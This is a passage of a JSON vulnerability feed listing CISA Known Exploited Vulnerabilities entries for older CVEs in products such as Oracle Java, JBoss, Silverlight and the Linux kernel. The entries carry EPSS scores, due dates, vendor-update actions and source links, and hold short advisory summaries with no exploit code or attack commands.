Hat","JBoss"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.73815,"percentile":0.99473,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2010-0738&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2010-0738","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2010-0738 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2010-0738&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2010-0738, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2010-0840","cveId":"CVE-2010-0840","aliases":[],"kind":"vulnerability","title":"Oracle JRE Unspecified Vulnerability","summary":"Unspecified vulnerability in the Java Runtime Environment (JRE) in Java SE component allows remote attackers to affect confidentiality, integrity, and availability via Unknown vectors.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Java Runtime Environment (JRE)","stacks":["Oracle","Java","Java Runtime Environment (JRE)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96319,"percentile":0.99878,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2010-0840&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2010-0840","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2010-0840 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2010-0840&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2010-0840, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2010-1428","cveId":"CVE-2010-1428","aliases":[],"kind":"vulnerability","title":"Red Hat JBoss Information Disclosure Vulnerability","summary":"Unauthenticated access to the JBoss Application Server Web Console (/web-console) is blocked by default. However, it was found that this block was incomplete, and only blocked GET and POST HTTP verbs. A remote attacker could use this flaw to gain access to sensitive information.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Red Hat","product":"JBoss","stacks":["Red Hat Enterprise Linux","Red Hat","JBoss"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.52654,"percentile":0.9896,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2010-1428&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2010-1428","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2010-1428 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2010-1428&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2010-1428, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2012-1710","cveId":"CVE-2012-1710","aliases":[],"kind":"vulnerability","title":"Oracle Fusion Middleware Unspecified Vulnerability","summary":"Unspecified vulnerability in the Oracle WebCenter Forms Recognition component in Oracle Fusion Middleware allows remote attackers to affect confidentiality, integrity, and availability via Unknown vectors related to Designer.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Fusion Middleware","stacks":["Oracle","Fusion Middleware"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07826,"percentile":0.94634,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2012-1710&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2012-1710","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2012-1710 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2012-1710&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2012-1710, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-0074","cveId":"CVE-2013-0074","aliases":[],"kind":"vulnerability","title":"Microsoft Silverlight Double Dereference Vulnerability","summary":"Microsoft Silverlight does not properly validate pointers during HTML object rendering, which allows remote attackers to execute code via a crafted Silverlight application.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Silverlight","stacks":["Microsoft","Silverlight"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.78885,"percentile":0.99589,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-0074&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-0074","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-0074 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-0074&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-0074, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-0422","cveId":"CVE-2013-0422","aliases":[],"kind":"vulnerability","title":"Oracle JRE Remote Code Execution Vulnerability","summary":"A vulnerability in the way Java restricts the permissions of Java applets could allow an attacker to execute commands on a vulnerable system.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Java Runtime Environment (JRE)","stacks":["Oracle","Java","Java Runtime Environment (JRE)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97024,"percentile":0.9989,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-0422&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-0422","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-0422 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-0422&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-0422, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-0431","cveId":"CVE-2013-0431","aliases":[],"kind":"vulnerability","title":"Oracle JRE Sandbox Bypass Vulnerability","summary":"Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle allows remote attackers to bypass the Java security sandbox.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Java Runtime Environment (JRE)","stacks":["Oracle","Java","Java Runtime Environment (JRE)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9015,"percentile":0.99795,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-0431&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-0431","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-0431 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-0431&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-0431, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-2423","cveId":"CVE-2013-2423","aliases":[],"kind":"vulnerability","title":"Oracle JRE Unspecified Vulnerability","summary":"Unspecified vulnerability in hotspot for Java Runtime Environment (JRE) allows remote attackers to affect integrity.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Java Runtime Environment (JRE)","stacks":["Oracle","Java","Java Runtime Environment (JRE)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.85215,"percentile":0.99713,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-2423&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-2423","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-2423 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-2423&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-2423, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-3896","cveId":"CVE-2013-3896","aliases":[],"kind":"vulnerability","title":"Microsoft Silverlight Information Disclosure Vulnerability","summary":"Microsoft Silverlight does not properly validate pointers during access to Silverlight elements, which allows remote attackers to obtain sensitive information via a crafted Silverlight application.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Silverlight","stacks":["Microsoft","Silverlight"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.67959,"percentile":0.99317,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-3896&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-3896","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-3896 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-3896&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-3896, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-3993","cveId":"CVE-2013-3993","aliases":[],"kind":"vulnerability","title":"IBM InfoSphere BigInsights Invalid Input Vulnerability","summary":"Certain APIs within BigInsights can take invalid input that might allow attackers unauthorized access to read, write, modify, or delete data.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"IBM","product":"InfoSphere BigInsights","stacks":["IBM","InfoSphere BigInsights"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04766,"percentile":0.91838,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-3993&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-3993","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-3993 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-3993&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-3993, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-7331","cveId":"CVE-2013-7331","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Information Disclosure Vulnerability","summary":"An information disclosure vulnerability exists in Internet Explorer which allows resources loaded into memory to be queried. This vulnerability could allow an attacker to detect anti-malware applications.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.5021,"percentile":0.98898,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-7331&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-7331","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-7331 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-7331&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-7331, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-0546","cveId":"CVE-2014-0546","aliases":[],"kind":"vulnerability","title":"Adobe Reader and Acrobat Sandbox Bypass Vulnerability","summary":"Adobe Reader and Acrobat on Windows allow attackers to bypass a sandbox protection mechanism, and consequently execute native code in a privileged context.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Reader and Acrobat","stacks":["Adobe Acrobat and Reader","Adobe","Reader and Acrobat"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.2233,"percentile":0.97669,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-0546&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-0546","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-0546 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-0546&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-0546, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-2817","cveId":"CVE-2014-2817","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Privilege Escalation Vulnerability","summary":"Microsoft Internet Explorer cotains an unspecified vulnerability that allows remote attackers to gain privileges via a crafted web site.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.26349,"percentile":0.97991,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-2817&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-2817","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-2817 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-2817&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-2817, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-3153","cveId":"CVE-2014-3153","aliases":[],"kind":"vulnerability","title":"Linux Kernel Privilege Escalation Vulnerability","summary":"The futex_requeue function in kernel/futex.c in Linux kernel does not ensure that calls have two different futex addresses, which allows local users to gain privileges.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.37233,"percentile":0.98514,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-3153&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-3153","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-3153 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-3153&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-3153, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-4077","cveId":"CVE-2014-4077","aliases":[],"kind":"vulnerability","title":"Microsoft IME Japanese Privilege Escalation Vulnerability","summary":"Microsoft Input Method Editor (IME) Japanese is a keyboard with Japanese characters that can be enabled on Windows systems as it is included by default (with the default set as disabled). IME Japanese contains an unspecified vulnerability when IMJPDCT.EXE (IME for Japanese) is installed which allows attackers to bypass a sandbox and perform privilege escalation.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Input Method Editor (IME) Japanese","stacks":["Microsoft","Input Method Editor (IME) Japanese"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.54577,"percentile":0.9901,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-4077&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-4077","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-4077 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-4077&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-4077, scored 2026-10-25. This is a model estimate, not proof of 